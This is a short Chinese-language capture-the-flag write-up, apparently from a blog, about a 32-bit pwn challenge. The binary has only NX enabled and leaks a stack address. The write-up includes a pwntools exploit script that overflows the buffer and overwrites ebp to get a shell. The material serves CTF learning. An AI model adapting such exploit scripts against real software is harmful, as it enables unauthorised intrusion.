checksec:

发现32位,开了NX,没别的保护,使用ida打开:

发现打印出了一个gift,直接运行,竟然是buf的栈地址。
binsh地址也知道了,
首先填充栈,其中一开始是binsh的地址,
然后填充栈,最后覆盖ebp为栈地址
思路直接打开:
from pwn import*
p = process("./pwn1")
#p = remote("113.201.14.253",16088)
p.recvuntil("Gift:")
leak = int(p.recv(10),16)
p.sendline(p32(0x8048540) + "b"*0x30 + p32(leak+4))
p.interactive()
本文介绍了一个具体的PWN题目解决过程,通过分析程序漏洞,利用checksec检查安全配置,并借助IDA工具辅助定位,最终实现了栈溢出攻击,成功绕过保护机制获取shell。
445

被折叠的 条评论
为什么被折叠?



